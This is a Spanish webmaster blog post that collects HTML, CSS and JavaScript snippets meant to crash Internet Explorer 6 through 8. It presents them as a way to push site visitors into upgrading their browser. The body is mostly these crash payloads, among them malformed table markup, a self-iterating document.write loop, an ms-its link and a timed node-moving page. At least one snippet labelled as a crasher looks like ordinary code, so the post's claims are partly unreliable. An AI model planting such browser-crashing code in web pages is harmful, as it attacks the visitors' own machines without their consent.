SummArg | Cursos y recursos para webmasters

Trucos para hacer que IE se rompa (crash IE)

Cualquiera que haga maquetación desde hace un buen par de años trae una incontenible furia en contra de cualquier cliente que use IE6, y más recientemente IE7 o IE8. Es que las primeras versiones de IE fueron desastrosas y no actualizarlas es ir en contra de uno mismo. ¿Quién no sabe que IE6 tiene unos agujeros de seguridad enormes? ¿O que IE7 tiene una espantosa performance? Además es como si deliberadamente construyeran sus versiones de navegador para estar dos, tres y hasta cuatro pasos por detrás de sus competidores, no incluyendo la compatibilidad con las novedades en CSS3 y HTML5, con lo que se fuerza a los diseñadores web a usar toda clase de artimañas para que sus webs se vean medianamente aceptables en IE.

Así que aquí van unos trucos para forzar al cliente a que actualice su navegador a la última versión disponible… o descargue Chrome.kill-ie1

Imagen de delive.se

Matar IE6 1

<style>*{position:relative}</style><table><input></table>

Matar IE6 2

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      }
      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>
    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }
    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head>
<body onload="galgenfrist();">
    <h1>CRASH-IE</h1>
    <div id="move">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div>
</body>
</html>

Crash IE6 3

<script>for (x in document.write) { document.write(x);}</script>

Crash IE6 4

<body onLoad=”window()”>

Crash IE6 5

<STYLE>@;/*

Crash IE6 6

Crear un link que apunte a:

ms-its:%F0:

Crash IE7 1

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

Crash IE6 a IE8

<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}
#b {
width:100%;
}
</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>

Sobre dicha base está hecho el siguiente sitio: crashie8.com (no entren con IE salvo que quieran verlo morir).

Si quieren ver la cantidad de personas que aún utiliza IE6 por país, no duden en visitar ie6countdown.com

ie6

Dejar un comentario